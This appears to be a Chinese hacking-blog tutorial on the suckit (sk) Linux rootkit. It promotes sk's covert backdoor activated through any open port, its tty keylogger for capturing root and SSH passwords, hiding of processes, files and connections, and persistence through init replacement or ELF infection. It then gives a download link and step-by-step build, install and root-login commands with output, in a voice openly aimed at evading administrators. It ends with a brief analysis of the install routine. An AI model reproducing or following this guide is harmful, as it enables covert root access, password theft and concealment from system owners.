我们经常可以从一些搞linux入侵的朋友那里听到他们讨论sk这个rootkit,其实sk的全称是suckit,意为super user control kit。suckit这个程序可以说是目前运行于Linux 2.4内核下最好的rootkit了。
关键字:Linux后门 Rootkit Linux入侵 suckit adore-ng ELF感染
1、背景知识:
什么是LKM:LKM英文是:Loadable Kernel Modules,翻译过来就是"可加载内核模块程序",这是一种区别于一般应用程序的系统级程序,它主要用于扩展linux的内核功能。LKM可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。讲到这里,大家是不是回忆起MSDOS中的TSR和Windows中的VxD呢?是的,这三者其实都是差不多的东西,它们都是常驻内存程序,并且可以捕获任何一个系统中断,功能十分强大,所以linux下的rootkit多为LKM。;
2、sk攻击原理概述
sk是用过攻击/dev/kmem来拦截和修改系统调用来实现后门和隐藏功能的。所谓系统调用,就是内核提供的、功能十分强大的一系列的函数。这些系统调用是在内核中实现的,再通过一定的方式把系统调用给用户,一般都通过门(gate)陷入(trap)实现。系统调用是用户程序和内核交互的接口。系统调用在Linux系统中发挥着巨大的作用,如果没有系统调用,那么应用程序就失去了内核的支持。我们在编程时用到的很多函数,如fork、open等这些函数最终都是在系统调用里实现的,比如我们有这样一个程序:
以下是引用片段: #include <stdio.h> int main(void) { char *name[2]; name[0] = "/bin/sh"; name[1]= NULL; if (!fork()) execve(name[0],name,NULL); exit(0); } |
这里我们用到了两个函数,即fork和exit,这两函数都是glibc中的函数,但是如果我们跟踪函数的执行过程,看看glibc对fork和exit 函数的实现就可以发现在glibc的实现代码里都是采用软中断的方式陷入到内核中再通过系统调用实现函数的功能的。由此可见,系统调用是用户接口在内核中的实现,如果没有系统调用,用户就不能利用内核。所以在我们隐藏文件,隐藏网络通讯,隐藏进程信息,都要通过修改系统调用来实现。
二、sk的特色功能
wzt觉得作为一个优秀的linux rootkit,sk有着下面的特色:
;1:sk后门服务端程序为静态ELF文件,压缩之后就几十K的大小。我们使用LKM后门的时候,经常会遇到一个很尴尬的情况,就是LKM后门代码无法在安全上编译通过,要么缺少gcc,要么缺少内核代码,要么编译环境有问题,有了sk之后,我们就不需要再为这个问题烦恼了,我们只需要执行一下wget下载sk,并在安全上直接执行就OK了,方便吧,真是居家旅行之必备rootkit啊。
2:通过对安全的任何开放的TCP端口发送特定数据就可以激活后门回连到我们的客户端,并且客户端有自动扫描功能,它会自动扫描安全开放的端口并发送激活指令。特别在一些有防火墙的环境里,限制了回连的目标端口,我们还可以指定特殊的回连端口来绕过防火墙,比如回连到80、443这种一般都开放的TCP端口。
3:sk后门有一个tty sniffer,什么是tty sniffer呢,通俗的说就是一个"键盘记录",不过他不但可以记录控制台的操作,还可以记录远程连接的操作,它根据程序指定的关键字抓取tty记录,主要包括ssh,passwd,telnet,login等关键字,和thc.org的keylogger相比有过之而无不及啊,通过这个功能我们可以很容易的抓到相关密码而扩大战果,特别是在root密码设置十分BT的时候,我们无法用john来暴力破解,tty log就可以记录到root的密码,甚至是其他linux的root密码 :)
4:sk采用动态隐藏的方式来隐藏指定的内容,包括文件,进程,网络连接。为什么说是动态隐藏呢,因为当我们使用sk的客户端登录到安全之后,除了文件是根据prefix隐藏之外,其他的一切的操作都是隐藏的。这个功能十分之方便,只要我们使用sk的客户端登录之后,就可以放心的操作了,不需要担心什么东西没有隐藏而被管理员发现。相比之下,adore-ng这类rootkit就有点不人性化了,必须使用客户端手动的去隐藏指定的进程、网络和文件。
5:sk的自动启动也十分隐蔽,它通过替换系统的init文件来实现自动启动,一般情况下非常难被发现。
上面我们说的只是sk1.x的功能,sk2在sk1.x的基础上又有了如下的增强:
;1:后门的服务端和客户端集成在一个程序内,不得不提的是0x557的sam牛牛修改了putty作为sk2的客户端,这样将大大的方便了经常在windows下管理安全的朋友们了。
2:端口回连后门升级为端口复用后门,可以复用系统大部分端口,包过滤防火墙在他面前几乎没有任何用处。
3:自动启动方式完全改变,sk2可以感染系统的elf文件达到自启动的目的,比如我们可以感染/sbin/syslogd文件,在syslogd服务启动的同时,我们的sk2也启动了。这个自启动方式是十分灵活也十分隐蔽的,就我所知,现在除了sk2之外,没有一个公开的后门或者rootkit是通过感染elf文件启动的。如果想深入的了解ELF感染是如何实现和变幻的,请留意我的《ELF感染面面观》一文。
4:增强了自身的加密功能,程序执行受到严格保护,没有密码将无法正确安装后门或者执行客户端。
sk2虽然在功能上有了十分大的提高,但是公开版的sk2rc2还是存在一些说大不大说小不小的BUG的,具体有什么BUG我将在下一篇《Linux后门系列--由浅入深sk2完全分析》中一一透露。
三、sk13的编译和使用
sk13的安装和使用很简单,只需要编译一次,sk就可以拿着到处使用了,下面给大家演示一下编译和使用的过程。
1、编译
下载代码 http://www.xfocus.net/tools/200408/sk-1.3b.tar.gz
先配置一下参数:
以下是代码片段: tthacker@wzt:~/sk# make skconfig rm -f include/config.h sk login inst make[1]: Entering directory `/root/sk/src' make[1]: Leaving directory `/root/sk/src' make[1]: Entering directory `/root/sk/src' gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c sha1.c gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c crypto.c In file included from ../include/extern.h:9, from ../include/stuff.h:18, from crypto.c:7: ../include/skstr.h:20: warning: conflicting types for built-in function `vsnprintf' ../include/skstr.h:22: warning: conflicting types for built-in function `vsprintf' ../include/skstr.h:25: warning: conflicting types for built-in function `vsscanf' gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -s zpass.c sha1.o crypto.o -o pass make[1]: Leaving directory `/root/sk/src' /dev/null Please enter new rootkit password: -->这里输入rookit的登录密码 Again, just to be sure: OK, new password set. Home directory [/dev/sk13]: /dev/sk13 -->这里设置隐藏的目录 Magic file-hiding suffix [sk13]: sk13 -->这里设置文件隐藏的前缀 Configuration saved. >From now, _only_ this configuration will be used by generated binaries till you do skconfig again. To (re)build all of stuff type 'make' -->现在我们可以开始编译了 tthacker@wzt:~/sk#make 这里省略N字,当我们看到下面的信息的时候,sk就编译好了 Okay, file 'inst' is complete, self-installing script. Just upload it somewhere, execute and you could log in using ./login binary. Have fun! |
生成了一个安装文件,是一个shell脚本,他会自动安装后门的。我们直接执行他就可以安装了
以下是代码片段: tthacker@wzt:~/sk# ./inst Your home is /dev/sk13, go there and type ./sk to install us into memory. Have fun! |
我们的home目录就在/dev/sk13了,以后我们的相关的程序就都放这里好了,隐藏的,管理员看不见 :)
以下是代码片段: tthacker@wzt:~/sk# cd /dev/sk13 |
嘿嘿,安装完毕,我们现在可以使用客户端登录了,客户端在编译sk的时候也一同生成了的,我们一起看看,很爽的,只要对方开放了任何一个TCP端口,我们就可以通过这个端口进入系统,权限是root哦。
以下是代码片段: tthacker@wzt:~/sk# ./login /dev/null use: ./login [hsditc] ...args -h Specifies ip/hostname of host where is running suckitd -s Specifies port where we should listen for incoming server' connection (if some firewalled etc), if not specified, we'll get some from os -d Specifies port of service we could use for authentication echo, telnet, ssh, httpd... is probably good choice -i Interval between request sends (in seconds) -t Time we will wait for server before giving up (in seconds) -c Connect timeout (in seconds) tthacker@wzt:~/sk# ./login -h 192.168.1.1 -d /dev/null Listening to port 43544 password: Trying 192.168.1.1:80 ... -->嘿嘿,开了80我们也照进。 Trying...Et voila Server connected. Escape character is '^K' /dev/null [tthacker@localhost sk13]# -->yeah |
我们进来了,我们在这个环境里执行的任何程序的进程,开放的任何端口,管理员都看不到的,不过千万别删除别搞破坏啊。;
知其然,知其所以然,我们一起从代码级别仔细剖析这个超级强大的sk吧。
四、install.c执行流程
sk的优点我们就介绍完了,那么到底它这么强悍的功能是如何实现的呢?最近我在分析sk2的代码,对它的hook原理还不是很清楚。于是就想看看sk13b的hook方法和它有什么区别,没准还能多给我一些提示呢。于是翻出了sk13b代码分析了通,hook原理与sk2的真不相同。
如作者所说,sk13b把系统中一些不经常用的系统调用替换为kmalloc()的地址,然后给那个系统调用传递kmalloc的参数,就可以在内核空间为sk分配空间了。为了学习我把分析过程写出来,如果有什么不对的地方,欢迎斧正。
install()函数的功能是为kernel.c做初始化整备,并把sk装载到内存中。这也是sk hook原理最精华的部分了。
首先得到idt表的地址,然后得到int 0x80中断描述符的地址,通过读kmem把其int 0x80中断描述符的内容到idt80结构中,然后提取出system_call在系统中的实际地址,在通过get_sct函数得到sys_call_table的地址。用kmalloc的地址,替换oldolduname系统调用的入口地址,在利用kmalloc在内核为sk分配空间。
最后转向kernel.c继续执行。
上述可能忽略了很多具体的细节,我将在第3部分给出详细的解析。
标签: linux